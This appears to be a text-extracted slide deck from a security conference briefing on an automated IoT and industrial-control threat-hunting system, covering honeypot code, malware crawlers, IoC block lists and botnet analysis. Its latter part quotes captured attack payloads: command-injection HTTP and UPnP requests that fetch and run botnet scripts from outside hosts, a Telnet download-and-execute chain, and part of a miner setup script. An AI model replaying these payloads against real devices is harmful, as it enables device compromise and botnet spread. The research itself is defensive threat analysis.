



DECEMBER 9-10
BRIEFINGS

The Hunt for Major League IoT-ICS Threats: A Deep Dive into IoT Threat Terrain

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Who are we?

A joint venture company of

Trend Micro Inc. and **Moxa Inc.**

30 years+ Cybersecurity Threat Intelligence

30 years+ OT Network Expertise



Industry
Adaptive
Solution

Threat
Defense
Expertise

OT-Focused
Technology

Keep the Operation Running

Who are we?



Mars Cheng

Threat Researcher at TXOne Networks

- Spoke at HITB, HITCON, SecTor, ICS Cyber Security Conference, InfoSec Taiwan and etc.
- Instructor of Ministry of National Defense, Ministry of Education, Ministry of Economic Affairs and etc.
- General Coordinator of HITCON 2021
- Vice General Coordinator of HITCON 2020



Patrick Kuo

Threat Researcher at TXOne Networks

- Developer for building automatically threat analyzing process.
- Developer for designing threat hunting engine and threat hunting system.
- Researcher for malicious payloads, malwares and threats.



Outline

- The Anatomy of Our Threat Hunting System
- In-Depth Analysis of Our IoT-ICS Intelligence
- The Next Step for Our Next Generation IIoT Threat-Hunting System



Introduction

Why Perform Automated Threat Hunting?



By 2020, more than **25%** of identified attacks in enterprises will involve the IoT, although the IoT will account for less than 10% of IT security budgets.


https://www.gartner.com/imagesrv/books/iot/iotEbook_digital.pdf

Distributed denial-of-service (DDoS) attacks have undergone changes as cyber attackers are turning to mobile devices to diversify and strengthen their DDoS attack vectors.

Researchers with A10 Networks' "Attack Vectors" to share the trends in the weapons being used, locations exploited, and techniques attacked.

Dark Nexus: A New Emerging IoT Botnet

April 08, 2020 Ravie Lakshmanan



Cybersecurity researchers have discovered a new emerging IoT botnet threat that compromises smart devices to stage 'distributed denial-of-service' attacks, powered by demand through platforms offering DDoS-for-hire services.

<https://thehackernews.com/2020/04/darknexus-iot-ddos-botnet.html>

News

Nokia Threat Report: IoT Malware Infections Surge 100%



Jessica Lyons Hardcastle | Managing Editor

October 23, 2020 12:24 AM

Share this article:



Number of internet-connected devices now in 2019, according to Nokia's 2020

Astonishing Internet Of Things Facts:

- The internet of things market revenue is \$212 billion worldwide
- 20.4 billion IoT devices will be online by 2020
- By 2025, the number is expected to rise to 75 billion devices
- North America is expected to own 29% of the world's self-driving fleet by 2035
- 54% of enterprises cite cost saving as the main value driver for IoT projects

<https://review42.com/internet-of-things-stats/>

0-Days Discovered

The Benefits of Automated Threat Hunting

- Automatic detection and real-time blocking of various threats
- Instantly locate various threat trends
- Follow-up analysis of a large number of intelligence resources by threat analysts
- The cost of human maintenance is extremely low



The Hunting System's Requirements

Scalability

High
Availability
and Stability

Fast Adjustment


Easy
Monitoring
and Analysis

Data Security




The Anatomy of Our Threat Hunting System


The Architecture of Our IoT-ICS Threat Hunting System



350+ Hunting Engines in the World



1. Hunting Engines



1st stage, hunting all interaction with hunting engine

- Python based and compatible with Python 2.x/3.x
- Shell and C compiler
- Ubuntu 18.04 or CentOS 7

1. Hunting Engines

```
class S7(object):

    ssl_lists = {}

    def __init__(self, pdu_type=0, reserved=0, request_id=0, result_info=0, parameters='', data=''):
        self.magic = 0x32
        self.pdu_type = pdu_type
        self.reserved = reserved
        self.request_id = request_id
        # sometimes "parameters" happen to be of type int, and not a byte string
        self.param_length = len(parameters) if isinstance(parameters, bytes) else len(str(parameters))
        self.data_length = len(data)
        self.result_info = result_info # Patrick: It needs to set Error class and Error code. 20200728
        self.parameters = parameters
        self.data = data

    # param codes (http://www.bj-ig.de/147.html):
    # maps request types to methods
    self.param_mapping = {0x00: ('diagnostics', self.request_diagnostics),
                          0x04: ('read', self.request_read),
                          0x05: ('write', self.request_write),
                          0x1a: ('request_download', self.request_not_implemented),
                          0x1b: ('download_block', self.request_not_implemented),
                          0x1c: ('end_download', self.request_not_implemented),
                          0x1d: ('start_upload', self.request_not_implemented),
                          0x1e: ('upload', self.request_not_implemented),
                          0x1f: ('end_upload', self.request_not_implemented),
                          0x28: ('insert_block', self.request_not_implemented),
                          0x29: ('plc_stop', self.plc_stop_signal)}

    # maps valid pdu codes to name
    self.pdu_mapping = {0x01: set('request_pdu'),
                       0x02: set('known_but_unidentified_pdu'),
                       0x03: set('response_pdu'),
                       0x07: set('system_status_list')}

    self.data_bus = conpot_core.get_databus()
```

```
from config import HoneyConfig, MissingConfigField
from syslog_logger import get_syslog_logger
from ipaddress import ip_address
import socket
import sys, errno
import time, datetime
import os
import re

DEFAULT_TIMEOUT = 120 #Use to timeout the connection
COMMANDS = {}
COMMANDS_EXECUTED = {}
OVERWRITE_COMMANDS = {} #Use to overwrite default telnet command behavior crashing the handler (e.g. 'help')
OVERWRITE_COMMANDS_LIST = ["help"] #Don't forget to update the list when adding new commands
BUSY_BOX = "/bin/busybox"
MIRAI_SCANNER_COMMANDS = ["shell", "sh", "enable"]
DOWNLOAD_COMMANDS = ["wget", "ftp", "curl"]
FINGERPRINTED_IPS = []

honey_logger = logging.getLogger("HoneyTelnet")
syslogger = None
config = None
custom_pool = None

class MyTelnetHandler(TelnetHandler, object):
    WELCOME = 'welcome'
    PROMPT = ">"
    authNeedUser = True
    authNeedPass = True

    @command(OVERWRITE_COMMANDS_LIST)
    def telnet_commands_respond(self, params):
        self.writereponse(OVERWRITE_COMMANDS.get(self.input.raw, ""))


    @command(DOWNLOAD_COMMANDS)
    def download_response(self, params):
        full_commands = " ".join(params)
        #regex = '(https?://.*|https://.*)'
        regex = '(https?://.+?) ( :|S|E|\r|\n|\|&)'
        if 'http' in full_commands or 'https' in full_commands:
            fmt = '%Y-%m-%d-%H-%M-%S'
            d = datetime.datetime.utcnow()
            d_string = d.strftime(fmt)
            host_name = socket.gethostname()
            ip_tran = ip_address('0.0.0.0') & ip_wrap(self.client_address[0]).explored
            #correlate srcip from iptables.log to find specific dest port
            if os.path.isfile('iptables.log'):
                with open('iptables.log') as f3:
                    my_regex = r"([S]* [d]* [v:\d]* ([\-\d\S]*).MAC=([d:\.\S]*) SRC=([\d\.\S]*) DST=([\d\.\S]*) .*PROTO=(.*) SPT=([\d]*) DPT=([\d]*)"
                    for line in f3:
                        log = re.findall(my_regex, line)
                        if len(log) > 0:
                            if ip_tran == log[0][3] and str(self.client_address[1]) == log[0][6]:
                                DPT_temp = log[0][7]
                                if DPT_temp > '0' and DPT_temp <= '65535':
                                    DPT = DPT_temp

#v2 new log format add reason
if ':' in ip_wrap(self.client_address[0]):
    s2 = "%s[%s] %d %s %s %s %s %s %s \
        (d_string, ip_wrap(self.client_address[0]), self.client_address[1], host_name, DPT)
else:
```


1. Hunting Engines

```
wget -O /tmp/e52e6cef-0c8d-4ac7-a4d3-175cddd4b8d5 --tries=1 http://185.172 /camam.sh -e use_proxy=yes -e http_proxy=10.1 :2244
[('http://185.172 /camam.sh', ' ')]
Match regexPtn1
http://185.172 /camam.sh
wget command
wget -O /tmp/a2f24348-a54e-401e-91c3-fb2a9decf6da --tries=1 http://185.172 /camam.sh -e use_proxy=yes -e http_proxy=10.1 :2244
[('http://185.172 /camam.sh', ' ')]
Match regexPtn1
http://185.172 /camam.sh
wget command
wget -O /tmp/73d6d503-1ec2-49ed-b9f7-b122f0bd2512 --tries=1 http://185.172 /camam.sh -e use_proxy=yes -e http_proxy=10.1 :2244
[('http://185.172 /camam.sh', ' ')]
Match regexPtn1
http://185.172 /camam.sh
wget command
wget -O /tmp/065bd066-23cf-442a-a227-34f037f2c7c4 --tries=1 http://185.172 /camam.sh -e use_proxy=yes -e http_proxy=10.1 :2244
[('http://185.172 /camam.sh', ' ')]
Match regexPtn1
http://185.172 /camam.sh
wget command
wget -O /tmp/6604f576-eb69-4d1d-b375-0d673ef46a52 --tries=1 http://185.172 /camam.sh -e use_proxy=yes -e http_proxy=10.1 :2244
[('http://185.172 /camam.sh', ' ')]
Match regexPtn1
http://185.172 /camam.sh
```

2. The Hunting Agent



3. Malware Crawler and Session Crawler



```
md5,sha1,sha256,scan result
60a353c02e1f137:5340b,0087f1628093b246d6
9a111588a7db137:49cd4,034c8c51a58bell1ca6
b6aa275a9266383:bb1249,0425c031a128a01661
463ea3c7c94254c:b62451,0855f932eff35d8758
dbc520ea151874f:'55c30,0a427f86b4360fb603
5fc8fb3158cc25c:'b30d1,0ea53594b76e2d69e5
0f2f4d29c538c4f:'2b4ba,15d64c4259601blc79
fbc51695e97a45c:.a37dc,1ed14334b5b71783cd
097f8af9749314c:f6ab0e,1f88dc6e96a652a94a
6b1b068d7441cfc:if1680,271c10b83937d52d1e
6c482728f94916e:na5058,2eb4ee1ecffd7d915f
cf939dcd72c0c3c:na51bf,3c6654b5e0699885f8
28e466ef81c046f:rad8ae,445d804c49965d004d
2cbe7c057f632:'7a8ec,48fabd9255b90f9b3f
19e8ba4c8aabc8c:i3d0ba,4d8093f73b2bccefe6
92f05b87d8cac6c:.659b3,524be5acbc38fe8dd2
183ebb2e05a60d1:lb07ec,538b78ba5f2391b42e
ecba262840996cc:i42071,5a2eec896758297033
dd723a18453152f:i4b8b2,61c36304ad1db6c329
3849f30b51a5c4f:206c7,61c74136534b826059
a7a278a3a55394f:'2d247,64b3e8a028853d7c20
e241dae5d2db00f:i3e38b,6c8b22ebce56ef7c8d
12d5f84ac4e657e:iccc47,70eb5510ef4e760595
f7d9be2014c0a9f:lae9af,8ece0c8296091bb56e
e94f0834d95a5cf:i3401e,90bba7ed009d748e78
460293530493ecf:'50b89,94c0c0fb27722b055da
f308933c1ba159e:'44bd8c,9c4078a1e37e389fd4
51584c746c408ee:'8d9bc2,9dd40b9bc3e17cc225
d9dda24cbfe11c:'3cae8, a88f646544267819b1
7e7547bb11be86c:'44b93, a9a7d1f3c659bea668
03ddfddfd6323af:'0a95f, aa9f2f5e69df8bb9d
a73ddd6ecc22462c:ad4e6, ac6962542a4b23ac13
daa2e9973d38503:'640e6, b0e74801f843a6347c
fff429d35cd37af:'39eda, b5161c992e7ae9854d
2afa5a62755bc3f:'f3fbd8, fdf4a802431d7ab200
f07d673981c6d7f:'21dd3, c292121dee7d549573
44219b4c6629a1e:'8f877, c8244559fc30480e07
cdb91076d3dbeeac:'58862, cb3249b4e411f63f1b
c1342de6e52cb9e:'77483, e9afb0cb00ed2cd098
f42f45b377bdcd2:'32791, ea58921b8d42470935
450f27f3e0a447f:'0a315, f98951265a2f7e8ebf
043b86f30a704df:'i4ba7, fb7f8f9224cf8f01dc
617abd5207, cad5d741424b1bab0f2f8c4
5a59275d2f, e15e93db3ce3a8a22adb4b1
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22a7114e0c, f33d86e7eb69f6294792da2
84b14884ad, 25f19652a16f8f495baa36f
e48e600cf0, 2e4506802aedea2e6d5391c
2ee377a5ed, d239d4e490cd9203b500c5c
fd105eec07, 629d4a29407816ca036627e
44e975a018, 247e4bf989787af66480ffe
2321382bb8, 5606aea366fbac78bde6ff
703dd91d0f, 9b6d9df47a2124644fb106f
31c3176315, 7ce1f59fe4e311e26144f6f
e104e956ec, ce2d957dc4a245ede76302:
07443262c2, aff8bd16ac5547d0088a8af
27e74bc043, 6dfffa18aaae64d1af31f
d266962f1d, 33b2920f9a4e6dc8cd3ff74
de7870bcc, 518150c466648544def5efk
c0613a47b7, f6c97b1e2ed02578ca1066c
43a2f3f391, d498f272706247fd8084d4d
5d3c325d02, 2515646919402a496c44822
03ce8cb61e, 5f230a8d0650c41c6e2831c
1cf92eb655, 07d77af77695ee2f74fb2a4
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dc9b6cbee3, d4956f3a0de98ca7433ead1
12dc83a45d, 32b4dce55df6e12b2bb84be
d6cd703dd7, 4310ed76676b341bc7c2e6f
1665006ab7, 84c8f6380b834281a07c7af
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376223c86, 866f81798facc68cd2ff982
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ab3db0666, b205817df87604d5879409f:
79e8b90c7, 85dc41ca3c16cb0c9de9fef:
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a74ed21aa944ff36cd2e72ad,
08cb4799a879eace5923a7b6,
145326943c9dbf9cf4ec2c89,
93f335816ab6c9424b88c7a0,
ccee6955188c9d99a88eba7e,
298371f58c191fe05fa8f81f,
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36f8bba2a91a97c35ee1e65e,
4e07dec36b8b6af85fec0ff,
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f85ed2cc0cec20b5941f919c,
c9f67513d8722ee48d8373e,
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

4. Generate IoC to Block List



utc_ts	ip	port	rule
2020-10-21 20:53:52.000	103.54.1	22	[hpot_g001:2.honeypot]
2020-10-21 21:56:36.000	103.70.1	445	[dpi_g001:2:dpi-ips-rule 8]
2020-10-21 21:35:21.000	112.226	80	[dpi_g001:2:dpi-ips-rule 4]
2020-10-21 21:12:42.000	112.255	8081	[dpi_g001:2:dpi-ips-rule 3]
2020-10-21 21:15:41.000	112.27.1	80	[dpi_g001:2:dpi-ips-rule 4]
2020-10-21 21:09:00.000	113.167	445	[dpi_g001:2:dpi-ips-rule 8]
2020-10-21 20:58:23.000	113.246	2323	[hpot_g001:2.honeypot]
2020-10-21 21:00:36.000	115.63.5	80	[dpi_g001:2:dpi-ips-rule 3]
2020-10-21 21:47:10.000	117.202	80	[dpi_g001:2:dpi-ips-rule 3]
2020-10-21 21:46:31.000	121.146	23	[dpi_g001:2:dpi-ips-rule 3]

utc_ts	ip	port	url	reason
2020-03-28 07:05:03.935	185.16	5555	http://185.1	'24/bwget
2020-01-07 05:55:11.707	91.92.1	5555	http://91.92	bcurl.sh
2020-10-03 02:42:33.615	93.103	5555	http://5.252	bwget
2020-08-26 17:46:57.336	185.39	5555	http://5.252	curl
2020-08-26 17:51:02.545	185.39	5555	http://185.1	%/E5DB0E07C3D7BE80V520/init.sh
2020-03-28 07:42:40.169	92.28.1	60001	http://185.6	%jaws.sh
2020-05-13 06:23:53.629	185.16	5555	http://185.1	!35/bwget
2020-01-07 05:44:32.200	91.92.1	5555	http://91.92	bcurl.sh
2020-01-07 05:37:06.697	91.92.1	5555	http://91.92	curl.sh
2020-08-26 17:30:04.037	185.39	5555	http://5.252	wget

5. Malware Analyzer



5. Malware Analyzer

```
[root@centos-pool 2020-11-11]# ls
081e9190d9ea258a67ccdda6994bbf  ff1b005878ba6520227c986  5265a344fd3d3c91d1e9169678e9dadf  132b99c728761bff011  ac68a0074caed5b4cf8bce15e093391  0cc82bcbf7be6e738a5d
029eac5557daf544acc9505a1c931f  :1347091f2f044ae54e42da  542e002e6f352350f47abc48097d2af0  91d24d09689f85abaf83  ad05d09e6ed4bd09fe1469e49885c51  3f2579cb7caa221b43fce
02c75127ec18e75c80b9c3cd9397ac  :b42604dc4755b783c36141  57e11a11563392cd2d6b9e5c8c8f39e1  1878d02b201981450493  aec22455e74721538763a7f56129a44  bf07adb5a258131b6126
035687e402109bee280d5eb09c035f  :50b8ad8f9fa6a384b77c0e  58d763d301001f9fc595d20120e5052b  a4cfc3a6641a56c961fa  b1be3077f682c91f15ec17b88ff085a  c313e97ae56233e91a722
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0c99d3afe89c0ec382d491cfe06f5e  '3e8322757e07fcc42a7e09  5c70bc697759d59ef185d97e5310f3cd  222f2d0f441fd8122d50  b3e07a66941fa2ac5602c5ad8a03a9d  3aaf1f53f9a9c80c2306d
0e628952f2dd87f0e3de0d8a89115e  :abd8628b1edcf3d275f2c9  5dcb961388c68fc02ef87d4bf4838062  72f09a3eaa1d747a2f85  b5cf68c7cb5bb2d21d60bf6654926f6  9f9e182d032f1da5b4605
10bbc56343d94e5d831150f7c953ff  !d3e83426902a64cb232d5  5f845e765947c4560e1c201fdfeb016c  36d1393a65a9ee367e8c  b8250dbdccc99e15a008759a8eda2b4a  2261cece180c06de14362
1326777c5d44bbea9edcf8aa37a50f  :8ea731cad9f8c18b48d416  690a305edf11d51aa7d911ba60788fbb  65319b6a38ed36f813d9  c672798dca67f796972b42ad0c89e25  1892d26adbb6a79f63887
1994733bccfb9db72b4bd0ee75026f  !348f7fed29fb1e74c7b5a0  7150b51f8f989dd71b82739a4f417e21  c5f656dea07ab935e749  cb8c9685bcd1e15241c181966c458  83e0ce59911f7da998de8
1bc2f0d8d1529ab4e3a6cbeb9005c:  !8c1099f08af75f1c3a9d91  72b10b99e0a6dd4ec068e23a2547d153  73bbe452601138731c3c  ccb307d40886427c6455c548df6ad59  0aec44c71679b87ce19ba
2ce01c0d96016169c64a7ce748716f  .9e404d3aa560ca174772c3  7310eca67a1014eb5f2bd249a8516c21  74929935c44d8ce81e67  cde1f2acb22559bd3c2a7c5a89fa214  ea1603d03140585b6bb76
2e4506802aedea2e6d53910dfb296f  !c4b799a879eace5923a7b6  74a6369497a0f30134b143a9c83dc086  aa9ff6215ce60d1e650e  cdee46cec78325959c82b2b5ef57f6f  36b8410fa65cb56ae55ee
2fbafc54025fe051e817fcc08625df  !83adacac8581d9a09eb2cd  75173743d9a09b87880f115eb72f7314  bf13e752319642a634ff  d25541aa6d5a7746fc83933ef87efd2  38eea2c113ba30902cfc9
3364d2165584f89842c9534b3655af  'afb0e985fbd2dd14857197  8184f51bdbe8dad8e7362beb015280d  60fec99b1398b1fb0baf  d50b82a7be0e885d8282257b3d03699  7ff722452bfffb48be68bc
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3a330ecff6a63b83be36c61c0a4e1f  :c8f4ede315b63d3bb8906b  88dd427f4af7c9b9ed25fb9156af9a7c  3a7d01051fd236ffda2a  de9b0477318430517a77d5d023a66bc  b37e12b04722a46bfea78
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4183258dd93563ba086659b594a53fr  :dnee82e1a8e7e0ebcf782f  9389d5d9ad88a913a2dd16213034d80b  f7cc037e42b4b1af322b  e518d54bf2a5694c728ea40f00d2a95  0e74eabc3c7ac33e62113
4201501d1cefcb7d7575c60af3024f  !14e35a15ef0eff2a85a6da  990f1db0fb725a2f27df97a5f9ce87db  713c7dec39f8185c51c3  e52a202ec37b4c42b6da041fbfbf32d  7a75eae2194e560dcff2e
43a75ed0d3cf92929561eb4aa0447f  !31df41e023a364857c9b9c  9e0a15a4318e3e788bad61398b8a40d4  7f3bdbe329c462193600  f4ef453754b36372928ac7a33764fd8  5ac6f6106f79f84214562
485f41222bf6ad88595c56397743df  !080e7012cf914268705573  a17743eafdf2e2a00146fd9ddfd6d70911  2a00894f493aa3584b0b  f6c97b1e2ed02578ca1066c8235ba4f  2406c639dbccc6582e0c8
4082d6a81f894193ad25ab3b4efc0:  !ce067de8abe942240580a2  a6bc28788beb5359d5c2e08ee9df56833  e0c01cb5b71c117efbe1  fd3334c557a1f7c16820aa0f71a7f75  7c94781c039a1103cde91
4b29fec5217f5a74d53bc962c5cc0:  !48e75a7686df11c82d6a85  a7e6dd8494956a2bdb5c14938ab235d5  49e744f2ec0b0685100d  fdb334c557a1f7c16820aa0f71a7f75  36b09538d28af97c5163e
4d7248874379e540d23544615d544f  !6859f7838c5923f0e3bd54  ac0f531fcbfb04ad3c0a58bc27150d8  258c5b16d1718602e987  ff6f5e639b69332f315acad4f6bc67f  f76fefb8c0cc5438ad70f
```

5. Malware Analyzer

mal_name ▼	shasum ▼	dl_url ▼	
b3astmode.mips	484d02adc751b34b4f06279e101cb1	31bc5e59094233036571afcaf	eastmode/b3astmode.mips
Formula.x86	348621548d396a10eb0535b1ddc6c3	lc64940afe7693c02cff51625f	ns/Formula.x86
bot.pl	0c85ee163f3a5353b35a40dab37a55	!e0ee566cfabcc327ed183079	t.pl
3306	762bdef625adb5849c0cacf37941889	92d958b2a4e9d54c65370ba5	06
8000	f0343b26025df6cf378cc5dc4c8ff2db	97ce384eb6d69c6e921ee2f	8000
8000	f0343b26025df6cf378cc5dc4c8ff2db	97ce384eb6d69c6e921ee2f	00
xmi	10549b8dba5ec8eb2f8fdb3d735390	!a1cb2d90f6c7d49b476cd7b	l/xmi
vcimanagement.mips	5024c60e7c969293089549f8d41ba3	9f7d0e9be83c797bfdd2278aa	ins/vcimanagement.mips
jKira.mips	7448aea61ccbafeb840410c05e4241	25391d9dc020356fe1ea72012	l2/bins/jKira.mips
mips	1d81958156a7333989696e9d4e9b60	938710bff81ec48cf8f5f1c33d	mips
vcimanagement.mips	3cab00223458575395b99e63098267	!94bd65eb63553031abf1c4dd1	'bins/vcimanagement.mips
Astra.mips	48880dc57b5e002412bae8fc95b0ct	!3425c3a46f120e8eda7e0ef9	l/bins/Astra.mips
work.sh	c1e198ac3c34251b5c33c9611a171E	'b0a013ec991f8bff848bc91d2	rk.sh
mips	2837acd73b270372971d932cddc532	!c56e619ac7ac44ba15ef54882	'bins/mips
mips	882eb89e5bc23dd08e53b0fa7ddfcdd	!a3b9f30220dea0039bcd3d0d	'bins/mips
lan	271420049365b0063fc0fc69b372c1E	757fa5f5eed5171651c24974	'setup/lan
23	68b77d35f6976c67767fa4358c6e567	3b14a340f1a7294e329fd0f9	3
Hilix.mips	275b068d3a04cbce505b89f1da130e	!227c9e9fa0cdd9a5d0372c18	'bins/Hilix.mips
3307	29758396d04a16e12b52f470a2d998	!b9d2c9318543c08ab2ac70a7	07
mips	9de0c26dd0fc85eff3e0c4b237c1f9b2	4d44dd8c3c406f9005064fe	l/bins/mips
mips	612a6b6eb403099a857222b35f370b	!0ea28d2f7f740fd93ae0f109	'fuckurlhausdumbindianretards13337skids/mips
b3astmode.mips	2c61ade6323527b000cc27babbba21	!08812559d3a89807f48fe6446	'beastmode/b3astmode.mips
b3astmode.mips	1ba8719779106fdd92e8bd7d6cb7e6	6f1762231ea70b33a845f22e5	eastmode/b3astmode.mips
bot.pl	2339abcb78c46bf6ccdfce533b163d7	!ddde3531706b1fb301f143	'bot.pl
8080	1e87a5dba16588bf91144de1b34a52	38bca63f79d95d3087253d72	80

6. Threat Intelligence based on Athena

- Here, the threat analyst manually hunts down the in-depth threat



[ICS-CERT] OSisoft PI Interface for OPC XML-DA 2020-11-10

[ICS-CERT] Siemens SIMATIC S7-300 and S7-400 CPUs (Update B) 2020-11-10

[Security Week] Microsoft Patches Windows Vulnerability Chained in Attacks With Chrome Bug 2020-11-10

[Security Week] PLATYPUS: Hackers Can Obtain Crypto Keys by Monitoring CPU Power Consumption 2020-11-10

[Security Week] Flaws in PcVue SCADA Product Can Facilitate Attacks on Industrial Organizations 2020-11-10

[DARKReading] Malware Hidden in Encrypted Traffic Surges Amid Pandemic 2020-11-10

[DARKReading] Claroty Details Vulnerabilities in Schneider PLCs 2020-11-10

[DARKReading] How Hackers Blend Attack Methods to Bypass MFA 2020-11-10

[Threat post] Microsoft Teams Users Under Attack in 'FakeUpdates' Malware Campaign 2020-11-10

[iThome] 仁寶傳出遭勒索軟體攻擊，該公司予以否認，並認為疑似是駭客入侵造成網路異常 2020-11-09

[ICS-CERT] OSisoft PI Vision 2020-11-10

[ICS-CERT] Schneider Electric PLC Simulator for EcoStruxure Control Expert 2020-11-10

[ICS-CERT] SIMATIC S7-300 CPUs and SINUMERIK Controller 2020-11-10

[ICS-CERT] Siemens SCALANCE W 1750D 2020-11-10

[ICS-CERT] Siemens UMC Stack (Update C) 2020-11-10

[KitPloit - PenTest Tools] ReconNote - Web Application Security Automation Framework Which Reconns The Target For Various Assets To Maximize The Attack Surface For Security Professionals & Bug-Hunters 2020-11-09

[ZDI (Published)] ZDI-20-1363: Cisco WebEx Network Recording Player ARF File Parsing Stack-based Buffer Overflow Remote Code Execution Vulnerability 2020-11-10

[ZDI (Published)] ZDI-20-1362: Cisco WebEx Network Recording Player ARF File Parsing Uninitialized Pointer Remote Code Execution Vulnerability 2020-11-10

[ZDI (Published)] ZDI-20-1361: Cisco WebEx Network Recording Player ARF File Parsing Out-Of-Bounds Write Remote Code Execution Vulnerability 2020-11-10

[ZDI (Published)] ZDI-20-1360: WECON PLC Editor WCP File Parsing Heap-based Buffer Overflow Remote Code Execution Vulnerability 2020-11-10

[ZDI (Published)] ZDI-20-1359: WECON PLC Editor WCP File Parsing Heap-based Buffer Overflow Remote Code Execution Vulnerability 2020-11-10

[ZDI (Published)] ZDI-20-1358: WECON PLC Editor WCP File Parsing Stack-based Buffer Overflow Remote Code Execution Vulnerability 2020-11-10

[ZDI (Published)] ZDI-20-1357: Adobe Acrobat Reader DC AVDocumentLocal Use-After-Free Information Disclosure Vulnerability 2020-11-10


[ZDI (Published)] ZDI-20-1356: Adobe Acrobat Pro DC PDF Export Out-Of-Bounds Read Information Disclosure Vulnerability 2020-11-10

[ZDI (Published)] ZDI-20-1355: Adobe Acrobat Pro DC PDF Export Out-Of-Bounds Write Remote Code Execution Vulnerability 2020-11-10

[ZDI (Published)] ZDI-20-1354: Adobe Acrobat Reader DC ID Parameter Out-Of-Bounds Read Information Disclosure Vulnerability 2020-11-10

7. One-Click Deployment/Re-Deployment


- This is a function set up to strengthen our automated process.
- This demo video is a time-lapse video. The complete deployment process takes about 1-2 hours.



One-Click Deployment of Automated Threat Hunting System

TXOne Networks Inc.

Highlights of the IoT-ICS Hunting System



Hunting Engine




In-Depth Analysis




Payload Classification



Dynamic Adjustment



One-Click (Re-)Deployment




Construction Cost Decreasing

Highlights of the IoT-ICS Hunting System



Construction Cost Decreasing





In-Depth Analysis of Our IoT-ICS Threat Intelligence

IoC Hunting as A Service

Analyzed **20⁺ TB** Traffic

Detected **1.2 Billion**
Attacks

Hunted **70⁺**
Million
Malicious IPs

Hunted **15⁺**
Million
Suspicious
Domains

IoC Hunting as A Service



Blocked **37+ M**
Malicious IPs

Found **1.4+ M**
Possible Botnet
Devices


Blocked **2.1+ M**
Malicious
Domains

Found **2.6+ M**
Malwares

IoC Hunting as A Service



Global Botnet Analysis and Alert



```
GET /cgi-bin/nobody/Search.cgi?action=cgi_query&ip=google.com&port=80&queryb64str=Lw==&username=admin%20;XmlAp%20%20Account.User1.Password%3E$(cd%20/tmp;%20wget%20hxxp://104.168.xxx.xxx/SnOoPy.sh%20-O%2012.SnOoPy.sh;curl%20-O%20hxxp://104.168.xxx.xxx/SnOoPy.sh%20-O%2011.SnOoPy.sh;%20chmod%20777%20*;%20sh%2011.SnOoPy.sh;%20sh%2012.SnOoPy.sh)&password=admin Hxxp/1.0\r\n\r\nGET /cgi-bin/supervisor/CloudSetup.cgi?exefile=cd%20/tmp;%20wget%20hxxp://104.168.xxx.xxx/SnOoPy.sh%20-O%2012.SnOoPy.sh;curl%20-O%20hxxp://104.168.xxx.xxx/SnOoPy.sh%20-O%2011.SnOoPy.sh;%20chmod%20777%20*;%20sh%2011.SnOoPy.sh;%20sh%2012.SnOoPy.sh Hxxp/1.0\r\n\r\n
```

```
root\r\nroot\r\nncd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget hxxp://85.239.xxx.xxx/SnOoPy.sh; chmod 777 *; sh SnOoPy.sh; tftp -g 85.239.xxx.xxx -r tftp1.sh; chmod 777 *; sh tftp1.sh; rm -rf *.sh; history -c\r\n
```




```
GET /cgi-bin/;cd$(IFS)/var/tmp;rm$(IFS)-rf$(IFS)*;$(IFS)wget$(IFS)hxxp://116.75.xxx.xxx:41227/Mozi.m;$(IFS)sh$(IFS)/var/tmp/Mozi.m
```

```
GET /shell?cd%20%2Ftmp%3Bwget%20hxxp%3A%2F%2F192.3.xxx.xxx%2Finfect%3Bchmod%20777%20infect%3B.%2Finfect Hxxp/1.1\r\nHost: 139.59.xxx.xxx:5001\r\nConnection: keep-alive\r\nAccept-Encoding: gzip, deflate\r\nAccept: */*\r\nUser-Agent: python-requests/2.6.0 CPython/2.7.5 Linux/5.0.15-1-pve\r\n\r\n
```

```
GET /cgi-bin/nobody/Search.cgi?action=cgi_query&ip=google.com&port=80&queryb64str=Lw==&username=admin%20;XmlAp%20%20Account.User1.Password%3E$(cd%20/tmp;%20wget%20hxxp://23.254.xxx.xxx/ttee.sh%20-O%2012.ttee.sh;curl%20-O%20hxxp://23.254.xxx.xxx/ttee.sh%20-O%2011.ttee.sh;%20chmod%20777%20*;%20sh%2011.ttee.sh;%20sh%2012.ttee.sh)&password=admin Hxxp/1.0\r\n\r\nGET /cgi-bin/supervisor/CloudSetup.cgi?exefile=cd%20/tmp;%20wget%20hxxp://23.254.xxx.xxx/ttee.sh%20-O%2012.ttee.sh;curl%20-O%20hxxp://23.254.xxx.xxx/ttee.sh%20-O%2011.ttee.sh;%20chmod%20777%20*;%20sh%2011.ttee.sh;%20sh%2012.ttee.sh Hxxp/1.0\r\n\r\n
```


```
POST /ctrlt/DeviceUpgrade_1 Hxxp/1.1\r\nHost: 68.183.xxx.xxx:37215\r\nConnection: keep-alive\r\nAccept-Encoding: gzip, deflate\r\nAccept: */*\r\nUser-Agent: python-requests/2.24.0\r\nContent-Length: 473\r\n\r\n<?xml version="1.0" ?>\n <s:Envelope xmlns:s="hxxp://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="hxxp://schemas.xmlsoap.org/soap/encoding/">\n <s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPConnection:1">\n <NewStatusURL>$(/bin/busybox wget -g 185.172.xxx.xxx -l /tmp/kh -r /mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL>\n<NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL>\n</u:Upgrade>\n </s:Body>\n </s:Envelope>
```


Global Botnet Analysis and Alert




Unknown Malware Playground

VirusTotal Unknown Malware Count



Unknown Malware Playground



Unknown Malware Playground

18,000+ Unknown Malware

Architecture	Ratio
i386	65.01%
ARM	9.95%
MIPS	7.87%
PowerPC	2.53%
SH4	2.49%
Others	12.15%

Unknown Malware Playground

```
#!/bin/bash
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
setenforce 0 2>/dev/null
ulimit -u 50000
sysctl -w vm.nr_hugepages=$(`grep -c processor /proc/cpuinfo` * 3))
netstat -antp | grep ':3333' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ':4444' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ':5555' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ':7777' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ':14444' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
netstat -antp | grep ':5790' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs kill -9
